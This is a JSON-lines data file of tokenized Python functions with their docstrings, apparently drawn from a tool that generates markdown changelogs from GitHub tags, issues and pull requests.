{"signature": "def timestring_to_datetime(timestring):", "body": "with warnings.catch_warnings():<EOL><INDENT>warnings.filterwarnings(\"<STR_LIT:ignore>\", category=UnicodeWarning)<EOL>result = dateutil_parser(timestring)<EOL><DEDENT>return result<EOL>", "docstring": "Convert an ISO formated date and time string to a datetime object.\n\n:param str timestring: String with date and time in ISO format.\n:rtype: datetime\n:return: datetime object", "id": "f4926:m0"}
{"signature": "def fetch_events_for_issues_and_pr(self):", "body": "<EOL>self.fetcher.fetch_events_async(self.issues, \"<STR_LIT>\")<EOL>self.fetcher.fetch_events_async(self.pull_requests, \"<STR_LIT>\")<EOL>", "docstring": "Fetch event for issues and pull requests\n\n@return [Array] array of fetched issues", "id": "f4926:c0:m2"}
{"signature": "def fetch_tags_dates(self):", "body": "if self.options.verbose:<EOL><INDENT>print(<EOL>\"<STR_LIT>\".format(len(self.filtered_tags))<EOL>)<EOL><DEDENT>def worker(tag):<EOL><INDENT>self.get_time_of_tag(tag)<EOL><DEDENT>threads = []<EOL>max_threads = <NUM_LIT:50><EOL>cnt = len(self.filtered_tags)<EOL>for i in range(<NUM_LIT:0>, (cnt // max_threads) + <NUM_LIT:1>):<EOL><INDENT>for j in range(max_threads):<EOL><INDENT>idx = i * <NUM_LIT:50> + j<EOL>if idx == cnt:<EOL><INDENT>break<EOL><DEDENT>t = threading.Thread(target=worker,<EOL>args=(self.filtered_tags[idx],))<EOL>threads.append(t)<EOL>t.start()<EOL>if self.options.verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\", end=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>for t in threads:<EOL><INDENT>t.join()<EOL><DEDENT><DEDENT>if self.options.verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\")<EOL><DEDENT>if self.options.verbose > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\".format(<EOL>len(self.tag_times_dict))<EOL>)<EOL><DEDENT>", "docstring": "Async fetching of all tags dates.", "id": "f4926:c0:m3"}
{"signature": "def detect_actual_closed_dates(self, issues, kind):", "body": "if self.options.verbose:<EOL><INDENT>print(\"<STR_LIT>\".format(<EOL>len(issues), kind)<EOL>)<EOL><DEDENT>all_issues = copy.deepcopy(issues)<EOL>for issue in all_issues:<EOL><INDENT>if self.options.verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\", end=\"<STR_LIT>\")<EOL>if not issues.index(issue) % <NUM_LIT:30>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self.find_closed_date_by_commit(issue)<EOL>if not issue.get('<STR_LIT>', False):<EOL><INDENT>if issue.get('<STR_LIT>', False):<EOL><INDENT>print(\"<STR_LIT>\".format(<EOL>issue[\"<STR_LIT>\"], issue[\"<STR_LIT:title>\"]))<EOL><DEDENT>all_issues.remove(issue)<EOL><DEDENT><DEDENT>if self.options.verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT:.>\")<EOL><DEDENT>return all_issues<EOL>", "docstring": "Find correct closed dates, if issues was closed by commits.\n\n:param list issues: issues to check\n:param str kind: either \"issues\" or \"pull requests\"\n:rtype: list\n:return: issues with updated closed dates", "id": "f4926:c0:m4"}
{"signature": "def find_closed_date_by_commit(self, issue):", "body": "if not issue.get('<STR_LIT>'):<EOL><INDENT>return<EOL><DEDENT>compare_string = \"<STR_LIT>\" if '<STR_LIT>' in issue else \"<STR_LIT>\"<EOL>issue['<STR_LIT>'].reverse()<EOL>found_date = False<EOL>for event in issue['<STR_LIT>']:<EOL><INDENT>if event[\"<STR_LIT>\"] == compare_string:<EOL><INDENT>self.set_date_from_event(event, issue)<EOL>found_date = True<EOL>break<EOL><DEDENT><DEDENT>if not found_date:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(issue[\"<STR_LIT>\"], issue[\"<STR_LIT:title>\"]))<EOL><DEDENT>", "docstring": "Fill \"actual_date\" parameter of specified issue by closed date of\nthe commit, if it was closed by commit.\n\n:param dict issue: issue to edit", "id": "f4926:c0:m5"}
{"signature": "def set_date_from_event(self, event, issue):", "body": "if not event.get('<STR_LIT>', None):<EOL><INDENT>issue['<STR_LIT>'] = timestring_to_datetime(issue['<STR_LIT>'])<EOL>return<EOL><DEDENT>try:<EOL><INDENT>commit = self.fetcher.fetch_commit(event)<EOL>issue['<STR_LIT>'] = timestring_to_datetime(<EOL>commit['<STR_LIT>']['<STR_LIT:date>']<EOL>)<EOL><DEDENT>except ValueError:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".<EOL>format(event['<STR_LIT>']))<EOL>issue['<STR_LIT>'] = timestring_to_datetime(issue['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Set closed date from this issue.\n\n:param dict event: event data\n:param dict issue: issue data", "id": "f4926:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def encapsulate_string(raw_string):<DEDENT>", "body": "raw_string.replace('<STR_LIT:\\\\>', '<STR_LIT>')<EOL>enc_string = re.sub(\"<STR_LIT>\", r\"<STR_LIT>\", raw_string)<EOL>return enc_string<EOL>", "docstring": "Encapsulate characters to make markdown look as expected.\n\n:param str raw_string: string to encapsulate\n:rtype: str\n:return: encapsulated input string", "id": "f4926:c0:m7"}
{"signature": "def compound_changelog(self):", "body": "self.fetch_and_filter_tags()<EOL>tags_sorted = self.sort_tags_by_date(self.filtered_tags)<EOL>self.filtered_tags = tags_sorted<EOL>self.fetch_and_filter_issues_and_pr()<EOL>log = str(self.options.frontmatter)if self.options.frontmatter else u\"<STR_LIT>\"<EOL>log += u\"<STR_LIT>\".format(self.options.header)<EOL>if self.options.unreleased_only:<EOL><INDENT>log += self.generate_unreleased_section()<EOL><DEDENT>else:<EOL><INDENT>log += self.generate_log_for_all_tags()<EOL><DEDENT>try:<EOL><INDENT>with open(self.options.base) as fh:<EOL><INDENT>log += fh.read()<EOL><DEDENT><DEDENT>except (TypeError, IOError):<EOL><INDENT>pass<EOL><DEDENT>return log<EOL>", "docstring": "Main function to start change log generation\n\n:rtype: str\n:return: Generated change log file", "id": "f4926:c0:m8"}
{"signature": "def generate_sub_section(self, issues, prefix):", "body": "log = \"<STR_LIT>\"<EOL>if issues:<EOL><INDENT>if not self.options.simple_list:<EOL><INDENT>log += u\"<STR_LIT>\".format(prefix)<EOL><DEDENT>for issue in issues:<EOL><INDENT>merge_string = self.get_string_for_issue(issue)<EOL>log += u\"<STR_LIT>\".format(merge_string)<EOL><DEDENT>log += \"<STR_LIT:\\n>\"<EOL><DEDENT>return log<EOL>", "docstring": "Generate formated list of issues for changelog.\n\n:param list issues: Issues to put in sub-section.\n:param str prefix: Title of sub-section.\n:rtype: str\n:return: Generated ready-to-add sub-section.", "id": "f4926:c0:m9"}
{"signature": "def generate_header(self, newer_tag_name, newer_tag_link,<EOL>newer_tag_time,<EOL>older_tag_link, project_url):", "body": "log = \"<STR_LIT>\"<EOL>time_string = newer_tag_time.strftime(self.options.date_format)<EOL>if self.options.release_url:<EOL><INDENT>release_url = self.options.release_url.format(newer_tag_link)<EOL><DEDENT>else:<EOL><INDENT>release_url = u\"<STR_LIT>\".format(<EOL>project_url=project_url, newer_tag_link=newer_tag_link)<EOL><DEDENT>if not self.options.unreleased_with_date andnewer_tag_name == self.options.unreleased_label:<EOL><INDENT>log += u\"<STR_LIT>\".format(<EOL>newer_tag_name=newer_tag_name, release_url=release_url)<EOL><DEDENT>else:<EOL><INDENT>log += u\"<STR_LIT>\"u\"<STR_LIT>\".format(<EOL>newer_tag_name=newer_tag_name,<EOL>release_url=release_url,<EOL>time_string=time_string<EOL>)<EOL><DEDENT>if self.options.compare_linkand older_tag_link != REPO_CREATED_TAG_NAME:<EOL><INDENT>log += u\"<STR_LIT>\"<EOL>log += u\"<STR_LIT>\".format(<EOL>project_url=project_url,<EOL>older_tag_link=older_tag_link,<EOL>)<EOL>log += u\"<STR_LIT>\".format(<EOL>newer_tag_link=newer_tag_link<EOL>)<EOL><DEDENT>return log<EOL>", "docstring": "Generate a header for a tag section with specific parameters.\n\n:param str newer_tag_name: Name (title) of newer tag.\n:param str newer_tag_link: Tag name of newer tag, used for links.\n                       Could be same as **newer_tag_name** or some\n                       specific value, like `HEAD`.\n:param datetime newer_tag_time: Date and time when\n                                newer tag was created.\n:param str older_tag_link: Tag name of older tag, used for links.\n:param str project_url: URL for current project.\n:rtype: str\n:return: Generated ready-to-add tag section.", "id": "f4926:c0:m10"}
{"signature": "def generate_log_between_tags(self, older_tag, newer_tag):", "body": "filtered_issues, filtered_pull_requests =self.filter_issues_for_tags(newer_tag, older_tag)<EOL>older_tag_name = older_tag[\"<STR_LIT:name>\"] if older_tagelse self.detect_since_tag()<EOL>if not filtered_issues and not filtered_pull_requests:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>return self.generate_log_for_tag(<EOL>filtered_pull_requests, filtered_issues,<EOL>newer_tag, older_tag_name)<EOL>", "docstring": "Generate log between 2 specified tags.\n\n:param dict older_tag: All issues before this tag's date will be\n                       excluded. May be special value, if new tag is\n                       the first tag. (Means **older_tag** is when\n                       the repo was created.)\n:param dict newer_tag: All issues after this tag's date  will be\n                       excluded. May be title of unreleased section.\n:rtype: str\n:return: Generated ready-to-add tag section for newer tag.", "id": "f4926:c0:m11"}
{"signature": "def filter_issues_for_tags(self, newer_tag, older_tag):", "body": "filtered_pull_requests = self.delete_by_time(self.pull_requests,<EOL>older_tag, newer_tag)<EOL>filtered_issues = self.delete_by_time(self.issues, older_tag,<EOL>newer_tag)<EOL>newer_tag_name = newer_tag[\"<STR_LIT:name>\"] if newer_tag else None<EOL>if self.options.filter_issues_by_milestone:<EOL><INDENT>filtered_issues = self.filter_by_milestone(<EOL>filtered_issues, newer_tag_name, self.issues<EOL>)<EOL>filtered_pull_requests = self.filter_by_milestone(<EOL>filtered_pull_requests, newer_tag_name, self.pull_requests<EOL>)<EOL><DEDENT>return filtered_issues, filtered_pull_requests<EOL>", "docstring": "Apply all filters to issues and pull requests.\n\n:param dict older_tag: All issues before this tag's date will be\n                       excluded. May be special value, if new tag is\n                       the first tag. (Means **older_tag** is when\n                       the repo  was created.)\n:param dict newer_tag: All issues after this tag's date  will be\n                       excluded. May be title of unreleased section.\n:rtype: list(dict), list(dict)\n:return: Filtered issues and pull requests.", "id": "f4926:c0:m12"}
{"signature": "def generate_log_for_all_tags(self):", "body": "if self.options.verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>self.issues2 = copy.deepcopy(self.issues)<EOL>log1 = \"<STR_LIT>\"<EOL>if self.options.with_unreleased:<EOL><INDENT>log1 = self.generate_unreleased_section()<EOL><DEDENT>log = \"<STR_LIT>\"<EOL>for index in range(len(self.filtered_tags) - <NUM_LIT:1>):<EOL><INDENT>log += self.do_generate_log_for_all_tags_part1(log, index)<EOL><DEDENT>if self.options.tag_separator and log1:<EOL><INDENT>log = log1 + self.options.tag_separator + log<EOL><DEDENT>else:<EOL><INDENT>log = log1 + log<EOL><DEDENT>if len(self.filtered_tags) != <NUM_LIT:0>:<EOL><INDENT>log += self.do_generate_log_for_all_tags_part2(log)<EOL><DEDENT>return log<EOL>", "docstring": "The full cycle of generation for whole project.\n\n:rtype: str\n:return: The complete change log for released tags.", "id": "f4926:c0:m13"}
{"signature": "def generate_unreleased_section(self):", "body": "if not self.filtered_tags:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>now = datetime.datetime.utcnow()<EOL>now = now.replace(tzinfo=dateutil.tz.tzutc())<EOL>head_tag = {\"<STR_LIT:name>\": self.options.unreleased_label}<EOL>self.tag_times_dict[head_tag[\"<STR_LIT:name>\"]] = now<EOL>unreleased_log = self.generate_log_between_tags(<EOL>self.filtered_tags[<NUM_LIT:0>], head_tag)<EOL>return unreleased_log<EOL>", "docstring": "Generate log for unreleased closed issues.\n\n:rtype: str\n:return: Generated ready-to-add unreleased section.", "id": "f4926:c0:m17"}
{"signature": "def get_string_for_issue(self, issue):", "body": "encapsulated_title = self.encapsulate_string(issue['<STR_LIT:title>'])<EOL>try:<EOL><INDENT>title_with_number = u\"<STR_LIT>\".format(<EOL>encapsulated_title, issue[\"<STR_LIT>\"], issue[\"<STR_LIT>\"]<EOL>)<EOL><DEDENT>except UnicodeEncodeError:<EOL><INDENT>title_with_number = \"<STR_LIT>\".format(<EOL>issue[\"<STR_LIT>\"], issue['<STR_LIT:title>']<EOL>)<EOL>print(title_with_number, '<STR_LIT:\\n>', issue[\"<STR_LIT>\"])<EOL><DEDENT>return self.issue_line_with_user(title_with_number, issue)<EOL>", "docstring": "Parse issue and generate single line formatted issue line.\n\nExample output:\n    - Add coveralls integration [\\#223](https://github.com/skywinder/github-changelog-generator/pull/223) ([skywinder](https://github.com/skywinder))\n    - Add coveralls integration [\\#223](https://github.com/skywinder/github-changelog-generator/pull/223) (@skywinder)\n\n\n:param dict issue: Fetched issue from GitHub.\n:rtype: str\n:return: Markdown-formatted single issue.", "id": "f4926:c0:m18"}
{"signature": "def issue_line_with_user(self, line, issue):", "body": "if not issue.get(\"<STR_LIT>\") or not self.options.author:<EOL><INDENT>return line<EOL><DEDENT>if not issue.get(\"<STR_LIT:user>\"):<EOL><INDENT>line += u\"<STR_LIT>\"<EOL><DEDENT>elif self.options.username_as_tag:<EOL><INDENT>line += u\"<STR_LIT>\".format(<EOL>issue[\"<STR_LIT:user>\"][\"<STR_LIT>\"]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>line += u\"<STR_LIT>\".format(<EOL>issue[\"<STR_LIT:user>\"][\"<STR_LIT>\"], issue[\"<STR_LIT:user>\"][\"<STR_LIT>\"]<EOL>)<EOL><DEDENT>return line<EOL>", "docstring": "If option author is enabled, a link to the profile of the author\nof the pull reqest will be added to the issue line.\n\n:param str line: String containing a markdown-formatted single issue.\n:param dict issue: Fetched issue from GitHub.\n:rtype: str\n:return: Issue line with added author link.", "id": "f4926:c0:m19"}
{"signature": "def generate_log_for_tag(self,<EOL>pull_requests,<EOL>issues,<EOL>newer_tag,<EOL>older_tag_name):", "body": "newer_tag_link, newer_tag_name,newer_tag_time = self.detect_link_tag_time(newer_tag)<EOL>github_site = \"<STR_LIT>\" or self.options.github_endpoint<EOL>project_url = \"<STR_LIT>\".format(<EOL>github_site, self.options.user, self.options.project)<EOL>log = self.generate_header(newer_tag_name, newer_tag_link,<EOL>newer_tag_time, older_tag_name, project_url)<EOL>if self.options.issues:<EOL><INDENT>log += self.issues_to_log(issues, pull_requests)<EOL><DEDENT>if self.options.include_pull_request:<EOL><INDENT>log += self.generate_sub_section(<EOL>pull_requests, self.options.merge_prefix<EOL>)<EOL><DEDENT>return log<EOL>", "docstring": "Generates log for tag section with header and body.\n\n:param list(dict) pull_requests: List of PR's in this tag section.\n:param list(dict) issues: List of issues in this tag section.\n:param dict newer_tag: Github data of tag for this section.\n:param str older_tag_name: Older tag, used for the links.\n                           May be special value, if **newer tag** is\n                           the first tag. (Means **older_tag** is when\n                           the repo was created.)\n:rtype: str\n:return: Ready-to-add and parsed tag section.", "id": "f4926:c0:m20"}
{"signature": "def issues_to_log(self, issues, pull_requests):", "body": "log = \"<STR_LIT>\"<EOL>sections_a, issues_a = self.parse_by_sections(<EOL>issues, pull_requests)<EOL>for section, s_issues in sections_a.items():<EOL><INDENT>log += self.generate_sub_section(s_issues, section)<EOL><DEDENT>log += self.generate_sub_section(issues_a, self.options.issue_prefix)<EOL>return log<EOL>", "docstring": "Generate ready-to-paste log from list of issues and pull requests.\n\n:param list(dict) issues: List of issues in this tag section.\n:param list(dict) pull_requests: List of PR's in this tag section.\n:rtype: str\n:return: Generated log for issues and pull requests.", "id": "f4926:c0:m21"}
{"signature": "def parse_by_sections(self, issues, pull_requests):", "body": "issues_a = []<EOL>sections_a = OrderedDict()<EOL>if not self.options.sections:<EOL><INDENT>return [sections_a, issues]<EOL><DEDENT>for key in self.options.sections:<EOL><INDENT>sections_a.update({key: []})<EOL><DEDENT>self.parse_by_sections_for_issues(issues, sections_a, issues_a)<EOL>self.parse_by_sections_for_pr(pull_requests, sections_a)<EOL>return [sections_a, issues_a]<EOL>", "docstring": "This method sort issues by types (bugs, features, etc. or\njust closed issues) by labels.\n\n:param list(dict) issues: List of issues in this tag section.\n:param list(dict) pull_requests: List of PR's in this tag section.\n:rtype: dict(list(dict)), list(dict)\n:return: Issues and PR's sorted into sections.", "id": "f4926:c0:m22"}
{"signature": "def exclude_issues_by_labels(self, issues):", "body": "if not self.options.exclude_labels:<EOL><INDENT>return copy.deepcopy(issues)<EOL><DEDENT>remove_issues = set()<EOL>exclude_labels = self.options.exclude_labels<EOL>include_issues = []<EOL>for issue in issues:<EOL><INDENT>for label in issue[\"<STR_LIT>\"]:<EOL><INDENT>if label[\"<STR_LIT:name>\"] in exclude_labels:<EOL><INDENT>remove_issues.add(issue[\"<STR_LIT>\"])<EOL>break<EOL><DEDENT><DEDENT><DEDENT>for issue in issues:<EOL><INDENT>if issue[\"<STR_LIT>\"] not in remove_issues:<EOL><INDENT>include_issues.append(issue)<EOL><DEDENT><DEDENT>return include_issues<EOL>", "docstring": "Delete all issues with labels from exclude-labels option.\n\n:param list(dict) issues: All issues for tag.\n:rtype: list(dict)\n:return: Filtered issues.", "id": "f4926:c0:m25"}
{"signature": "def filter_by_milestone(self, filtered_issues, tag_name, all_issues):", "body": "filtered_issues = self.remove_issues_in_milestones(filtered_issues)<EOL>if tag_name:<EOL><INDENT>issues_to_add = self.find_issues_to_add(all_issues, tag_name)<EOL>filtered_issues.extend(issues_to_add)<EOL><DEDENT>return filtered_issues<EOL>", "docstring": ":param list(dict) filtered_issues: Filtered issues.\n:param str tag_name: Name (title) of tag.\n:param list(dict) all_issues: All issues.\n:rtype: list(dict)\n:return: Filtered issues according milestone.", "id": "f4926:c0:m26"}
{"signature": "@staticmethod<EOL><INDENT>def find_issues_to_add(all_issues, tag_name):<DEDENT>", "body": "filtered = []<EOL>for issue in all_issues:<EOL><INDENT>if issue.get(\"<STR_LIT>\"):<EOL><INDENT>if issue[\"<STR_LIT>\"][\"<STR_LIT:title>\"] == tag_name:<EOL><INDENT>iss = copy.deepcopy(issue)<EOL>filtered.append(iss)<EOL><DEDENT><DEDENT><DEDENT>return filtered<EOL>", "docstring": "Add all issues, that should be in that tag, according to milestone.\n\n:param list(dict) all_issues: All issues.\n:param str tag_name: Name (title) of tag.\n:rtype: List[dict]\n:return: Issues filtered by milestone.", "id": "f4926:c0:m27"}
{"signature": "def remove_issues_in_milestones(self, filtered_issues):", "body": "for issue in filtered_issues:<EOL><INDENT>if issue[\"<STR_LIT>\"]:<EOL><INDENT>for tag in self.filtered_tags:<EOL><INDENT>if tag[\"<STR_LIT:name>\"] == issue[\"<STR_LIT>\"][\"<STR_LIT:title>\"]:<EOL><INDENT>filtered_issues.remove(issue)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return filtered_issues<EOL>", "docstring": ":param list(dict) filtered_issues: Filtered issues.\n:rtype: list(dict)\n:return: List with removed issues, that contain milestones with\n         same name as a tag.", "id": "f4926:c0:m28"}
{"signature": "def delete_by_time(self, issues, older_tag, newer_tag):", "body": "if not older_tag and not newer_tag:<EOL><INDENT>return copy.deepcopy(issues)<EOL><DEDENT>newer_tag_time = self.get_time_of_tag(newer_tag)<EOL>older_tag_time = self.get_time_of_tag(older_tag)<EOL>filtered = []<EOL>for issue in issues:<EOL><INDENT>if issue.get('<STR_LIT>'):<EOL><INDENT>rslt = older_tag_time < issue['<STR_LIT>'] <= newer_tag_time<EOL>if rslt:<EOL><INDENT>filtered.append(copy.deepcopy(issue))<EOL><DEDENT><DEDENT><DEDENT>return filtered<EOL>", "docstring": "Filter issues that belong to specified tag range.\n\n:param list(dict) issues: Issues to filter.\n:param dict older_tag: All issues before this tag's date will be\n                       excluded. May be special value, if **newer_tag**\n                       is the first tag. (Means **older_tag** is when\n                       the repo was created.)\n:param dict newer_tag: All issues after this tag's date  will be\n                       excluded. May be title of unreleased section.\n:rtype: list(dict)\n:return: Filtered issues.", "id": "f4926:c0:m29"}
{"signature": "def include_issues_by_labels(self, all_issues):", "body": "included_by_labels = self.filter_by_include_labels(all_issues)<EOL>wo_labels = self.filter_wo_labels(all_issues)<EOL>il = set([f[\"<STR_LIT>\"] for f in included_by_labels])<EOL>wl = set([w[\"<STR_LIT>\"] for w in wo_labels])<EOL>filtered_issues = []<EOL>for issue in all_issues:<EOL><INDENT>if issue[\"<STR_LIT>\"] in il or issue[\"<STR_LIT>\"] in wl:<EOL><INDENT>filtered_issues.append(issue)<EOL><DEDENT><DEDENT>return filtered_issues<EOL>", "docstring": "Include issues with labels, specified in self.options.include_labels.\n\n:param list(dict) all_issues: All issues.\n:rtype: list(dict)\n:return: Filtered issues.", "id": "f4926:c0:m30"}
{"signature": "def filter_wo_labels(self, all_issues):", "body": "issues_wo_labels = []<EOL>if not self.options.add_issues_wo_labels:<EOL><INDENT>for issue in all_issues:<EOL><INDENT>if not issue['<STR_LIT>']:<EOL><INDENT>issues_wo_labels.append(issue)<EOL><DEDENT><DEDENT><DEDENT>return issues_wo_labels<EOL>", "docstring": "Filter all issues that don't have a label.\n\n:rtype: list(dict)\n:return: Issues without labels.", "id": "f4926:c0:m31"}
{"signature": "def filter_by_include_labels(self, issues):", "body": "if not self.options.include_labels:<EOL><INDENT>return copy.deepcopy(issues)<EOL><DEDENT>filtered_issues = []<EOL>include_labels = set(self.options.include_labels)<EOL>for issue in issues:<EOL><INDENT>labels = [label[\"<STR_LIT:name>\"] for label in issue[\"<STR_LIT>\"]]<EOL>if include_labels.intersection(labels):<EOL><INDENT>filtered_issues.append(issue)<EOL><DEDENT><DEDENT>return filtered_issues<EOL>", "docstring": "Filter issues to include only issues with labels\nspecified in include_labels.\n\n:param list(dict) issues: Pre-filtered issues.\n:rtype: list(dict)\n:return: Filtered issues.", "id": "f4926:c0:m32"}
{"signature": "def filter_by_labels(self, all_issues, kind):", "body": "filtered_issues = self.include_issues_by_labels(all_issues)<EOL>filtered = self.exclude_issues_by_labels(filtered_issues)<EOL>if self.options.verbose > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\".format(kind, len(filtered)))<EOL><DEDENT>return filtered<EOL>", "docstring": "Filter issues for include/exclude labels.\n\n:param list(dict) all_issues: All issues.\n:param str kind: Either \"issues\" or \"pull requests\".\n:rtype: list(dict)\n:return: Filtered issues.", "id": "f4926:c0:m33"}
{"signature": "def get_filtered_pull_requests(self, pull_requests):", "body": "pull_requests = self.filter_by_labels(pull_requests, \"<STR_LIT>\")<EOL>pull_requests = self.filter_merged_pull_requests(pull_requests)<EOL>if self.options.verbose > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\".format(len(pull_requests)))<EOL><DEDENT>return pull_requests<EOL>", "docstring": "This method fetches missing params for PR and filter them\nby specified options. It include add all PR's with labels\nfrom options.include_labels and exclude all from\noptions.exclude_labels.\n\n:param list(dict) pull_requests: All pull requests.\n:rtype: list(dict)\n:return: Filtered pull requests.", "id": "f4926:c0:m34"}
{"signature": "def filter_merged_pull_requests(self, pull_requests):", "body": "if self.options.verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>closed_pull_requests = self.fetcher.fetch_closed_pull_requests()<EOL>if not pull_requests:<EOL><INDENT>return []<EOL><DEDENT>pulls = copy.deepcopy(pull_requests)<EOL>for pr in pulls:<EOL><INDENT>fetched_pr = None<EOL>for fpr in closed_pull_requests:<EOL><INDENT>if fpr['<STR_LIT>'] == pr['<STR_LIT>']:<EOL><INDENT>fetched_pr = fpr<EOL><DEDENT><DEDENT>if fetched_pr:<EOL><INDENT>pr['<STR_LIT>'] = fetched_pr['<STR_LIT>']<EOL>closed_pull_requests.remove(fetched_pr)<EOL><DEDENT><DEDENT>for pr in pulls:<EOL><INDENT>if not pr.get('<STR_LIT>'):<EOL><INDENT>pulls.remove(pr)<EOL><DEDENT><DEDENT>return pulls<EOL>", "docstring": "This method filter only merged PR and fetch missing required\nattributes for pull requests. Using merged date is more correct\nthan closed date.\n\n:param list(dict) pull_requests: Pre-filtered pull requests.\n:rtype: list(dict)\n:return:", "id": "f4926:c0:m35"}
{"signature": "def fetch_and_filter_tags(self):", "body": "self.all_tags = self.fetcher.get_all_tags()<EOL>self.filtered_tags = self.get_filtered_tags(self.all_tags)<EOL>self.fetch_tags_dates()<EOL>", "docstring": "Fetch and filter tags, fetch dates and sort them in time order.", "id": "f4926:c0:m36"}
{"signature": "def sort_tags_by_date(self, tags):", "body": "if self.options.verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>tags.sort(key=lambda x: self.get_time_of_tag(x))<EOL>tags.reverse()<EOL>return tags<EOL>", "docstring": "Sort all tags by date.\n\n:param list(dict) tags: All tags.\n:rtype: list(dict)\n:return: Sorted list of tags.", "id": "f4926:c0:m37"}
{"signature": "def get_time_of_tag(self, tag):", "body": "if not tag:<EOL><INDENT>raise ChangelogGeneratorError(\"<STR_LIT>\")<EOL><DEDENT>name_of_tag = tag[\"<STR_LIT:name>\"]<EOL>time_for_name = self.tag_times_dict.get(name_of_tag, None)<EOL>if time_for_name:<EOL><INDENT>return time_for_name<EOL><DEDENT>else:<EOL><INDENT>time_string = self.fetcher.fetch_date_of_tag(tag)<EOL>try:<EOL><INDENT>self.tag_times_dict[name_of_tag] =timestring_to_datetime(time_string)<EOL><DEDENT>except UnicodeWarning:<EOL><INDENT>print(\"<STR_LIT>\", tag)<EOL>self.tag_times_dict[name_of_tag] =timestring_to_datetime(time_string)<EOL><DEDENT>return self.tag_times_dict[name_of_tag]<EOL><DEDENT>", "docstring": "Get date and time for tag, fetching it if not already cached.\n\n:param dict tag: Tag to get the datetime for.\n:rtype: datetime\n:return: datetime for specified tag.", "id": "f4926:c0:m38"}
{"signature": "def detect_link_tag_time(self, tag):", "body": "<EOL>newer_tag_time = self.get_time_of_tag(tag) if tagelse datetime.datetime.now()<EOL>if tag[\"<STR_LIT:name>\"] == self.options.unreleased_labeland self.options.future_release:<EOL><INDENT>newer_tag_name = self.options.future_release<EOL>newer_tag_link = self.options.future_release<EOL><DEDENT>elif tag[\"<STR_LIT:name>\"] is not self.options.unreleased_label :<EOL><INDENT>newer_tag_name = tag[\"<STR_LIT:name>\"]<EOL>newer_tag_link = newer_tag_name<EOL><DEDENT>else:<EOL><INDENT>newer_tag_name = self.options.unreleased_label<EOL>newer_tag_link = \"<STR_LIT>\"<EOL><DEDENT>return [newer_tag_link, newer_tag_name, newer_tag_time]<EOL>", "docstring": "Detect link, name and time for specified tag.\n\n:param dict tag: Tag data.\n:rtype: str, str, datetime\n:return: Link, name and time of the tag.", "id": "f4926:c0:m39"}
{"signature": "def detect_since_tag(self):", "body": "return self.options.since_tag or self.version_of_first_item()<EOL>", "docstring": "Try to find tag name to use as older tag for range of log creation.\n\n:rtype: str\n:return: Tag name to use as 'oldest' tag. May be special value,\n         indicating the creation of the repo.", "id": "f4926:c0:m40"}
{"signature": "def version_of_first_item(self):", "body": "try:<EOL><INDENT>sections = read_changelog(self.options)<EOL>return sections[<NUM_LIT:0>][\"<STR_LIT:version>\"]<EOL><DEDENT>except(IOError, TypeError):<EOL><INDENT>return self.get_temp_tag_for_repo_creation()<EOL><DEDENT>", "docstring": "Try to detect the newest tag from self.options.base, otherwise\nreturn a special value indicating the creation of the repo.\n\n:rtype: str\n:return: Tag name to use as 'oldest' tag. May be special value,\n         indicating the creation of the repo.", "id": "f4926:c0:m41"}
{"signature": "def get_temp_tag_for_repo_creation(self):", "body": "tag_date = self.tag_times_dict.get(REPO_CREATED_TAG_NAME, None)<EOL>if not tag_date:<EOL><INDENT>tag_name, tag_date = self.fetcher.fetch_repo_creation_date()<EOL>self.tag_times_dict[tag_name] = timestring_to_datetime(tag_date)<EOL><DEDENT>return REPO_CREATED_TAG_NAME<EOL>", "docstring": "If not already cached, fetch the creation date of the repo, cache it\nand return the special value indicating the creation of the repo.\n\n:rtype: str\n:return: value indicating the creation", "id": "f4926:c0:m42"}
{"signature": "def get_filtered_tags(self, all_tags):", "body": "filtered_tags = self.filter_since_tag(all_tags)<EOL>if self.options.between_tags:<EOL><INDENT>filtered_tags = self.filter_between_tags(filtered_tags)<EOL><DEDENT>if self.options.due_tag:<EOL><INDENT>filtered_tags = self.filter_due_tag(filtered_tags)<EOL><DEDENT>return self.filter_excluded_tags(filtered_tags)<EOL>", "docstring": "Return tags after filtering tags in lists provided by\noption: --between-tags & --exclude-tags\n\n:param list(dict) all_tags: All tags.\n:rtype: list(dict)\n:return: Filtered tags.", "id": "f4926:c0:m43"}
{"signature": "def filter_since_tag(self, all_tags):", "body": "tag = self.detect_since_tag()<EOL>if not tag or tag == REPO_CREATED_TAG_NAME:<EOL><INDENT>return copy.deepcopy(all_tags)<EOL><DEDENT>filtered_tags = []<EOL>tag_names = [t[\"<STR_LIT:name>\"] for t in all_tags]<EOL>try:<EOL><INDENT>idx = tag_names.index(tag)<EOL><DEDENT>except ValueError:<EOL><INDENT>self.warn_if_tag_not_found(tag, \"<STR_LIT>\")<EOL>return copy.deepcopy(all_tags)<EOL><DEDENT>since_tag = all_tags[idx]<EOL>since_date = self.get_time_of_tag(since_tag)<EOL>for t in all_tags:<EOL><INDENT>tag_date = self.get_time_of_tag(t)<EOL>if since_date <= tag_date:<EOL><INDENT>filtered_tags.append(t)<EOL><DEDENT><DEDENT>return filtered_tags<EOL>", "docstring": "Filter tags according since_tag option.\n\n:param list(dict) all_tags: All tags.\n:rtype: list(dict)\n:return: Filtered tags.", "id": "f4926:c0:m44"}
